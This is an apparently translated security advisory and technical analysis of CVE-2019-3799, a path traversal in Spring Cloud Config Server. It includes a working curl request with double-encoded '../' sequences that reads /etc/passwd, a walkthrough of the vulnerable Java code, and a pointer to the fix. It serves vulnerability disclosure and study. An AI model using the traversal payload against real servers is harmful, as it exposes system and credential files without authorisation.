
CVE-2019-3799 - Spring Cloud Config Server: Directory Traversal < 2.1.2, 2.0.4, 1.4.6
خادم تكوين Spring Cloud معرض لاجتياز الدليل / اجتياز المسار / كشف محتوى الملف < 2.1.2, 2.0.4, 1.4.6
Spring Cloud Config، الإصدارات 2.1.x قبل 2.1.2، والإصدارات 2.0.x قبل 2.0.4، والإصدارات 1.4.x قبل 1.4.6، والإصدارات القديمة غير المدعومة تسمح للتطبيقات بخدمة ملفات تكوين عشوائية من خلال وحدة spring-cloud-config-server. يمكن لمستخدم ضار أو مهاجم إرسال طلب باستخدام عنوان URL مصمم خصيصًا يمكن أن يؤدي إلى هجوم اجتياز الدليل.

عُثر عليه بواسطة Vern ([email protected])
استشارة أمنية
تحليل فني
cd spring-cloud-config-server
../mvnw spring-boot:run
curl http://127.0.0.1:8888/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
كما هو الحال دائمًا، من خلال قراءة الوثائق يمكننا العثور على المعلومات ذات الصلة:
خدمة ملف نصي عادي: https://cloud.spring.io/spring-cloud-static/spring-cloud-config/1.3.1.RELEASE/#_serving_plain_text
يوفر خادم التكوين هذه من خلال نقطة نهاية إضافية على /{name}/{profile}/{label}/{path} حيث يكون لـ "name" و "profile" و "label" نفس معنى نقطة نهاية البيئة العادية، ولكن "path" هو اسم ملف (مثل log.xml).
يوفر الخادم هذه من خلال نقطة نهاية إضافية على /{name}/{profile}/{label}/{path}
معلومة أخرى مثيرة للاهتمام من الوثيقة:
مع الخلفيات المستندة إلى VCS (git, svn) يتم سحب الملفات أو استنساخها إلى نظام الملفات المحلي. بشكل افتراضي يتم وضعها في الدليل المؤقت للنظام ببادئة config-repo-. على لينكس، على سبيل المثال يمكن أن يكون /tmp/config-repo-
ماذا يحدث عندما نرسل http://127.0.0.1:8888/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd
@RequestMapping("/{name}/{profile}/{label}/**")
public String retrieve(@PathVariable String name, @PathVariable String profile,
@PathVariable String label, ServletWebRequest request,
@RequestParam(defaultValue = "true") boolean resolvePlaceholders)
throws IOException {
String path = getFilePath(request, name, profile, label);
return retrieve(request, name, profile, label, path, resolvePlaceholders);
}
retrieve تستدعي الدالة findOnesynchronized String retrieve(ServletWebRequest request, String name, String profile,
String label, String path, boolean resolvePlaceholders) throws IOException {
name = resolveName(name);
label = resolveLabel(label);
Resource resource = this.resourceRepository.findOne(name, profile, label, path); // path: ..%2f..%2f..%2f..%2f..%2f../etc/passwd
if (checkNotModified(request, resource)) {
// Content was not modified. Just return.
return null;
}
// ensure InputStream will be closed to prevent file locks on Windows
try (InputStream is = resource.getInputStream()) {
String text = StreamUtils.copyToString(is, Charset.forName("UTF-8"));
if (resolvePlaceholders) {
Environment environment = this.environmentRepository.findOne(name,
profile, label);
text = resolvePlaceholders(prepareEnvironment(environment), text);
}
return text;
}
}
findOne:public synchronized Resource findOne(String application, String profile, String label, String path) {
if (StringUtils.hasText(path)) {
String[] locations = this.service.getLocations(application, profile, label).getLocations(); // /tmp/config-repo-<randomid>
try {
for (int i = locations.length; i-- > 0; ) {
String location = locations[i]; // [1]..%2f..%2f..%2f..%2f..%2f../etc/passwd
for (String local : getProfilePaths(profile, path)) {
Resource file = this.resourceLoader.getResource(location).createRelative(local); // /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd
if (file.exists() && file.isReadable()) {
return file; // /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd
}
}
}
}
}
catch (IOException e) {
throw new NoSuchResourceException(
"Error : " + path + ". (" + e.getMessage() + ")");
}
}
throw new NoSuchResourceException("Not found: " + path);
}
retrieve بقراءة الملف باستخدام StreamUtils.copyToString(is, Charset.forName("UTF-8") الذي يحول /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd إلى /etc/passwd مما يؤدي إلى كشف محتوى الملف /etc/passwd
الإصلاح: https://github.com/spring-cloud/spring-cloud-config/commit/3632fc6f64e567286c42c5a2f1b8142bfde505c2

From 3632fc6f64e567286c42c5a2f1b8142bfde505c2 Mon Sep 17 00:00:00 2001
From: Spencer Gibb <[email protected]>
Date: Tue, 2 Apr 2019 14:16:10 -0400
Subject: [PATCH] Cleans invalid paths
fixes gh-1355
---
.../resource/GenericResourceRepository.java | 165 ++++++++++++++++--
.../GenericResourceRepositoryTests.java | 18 ++
2 files changed, 170 insertions(+), 13 deletions(-)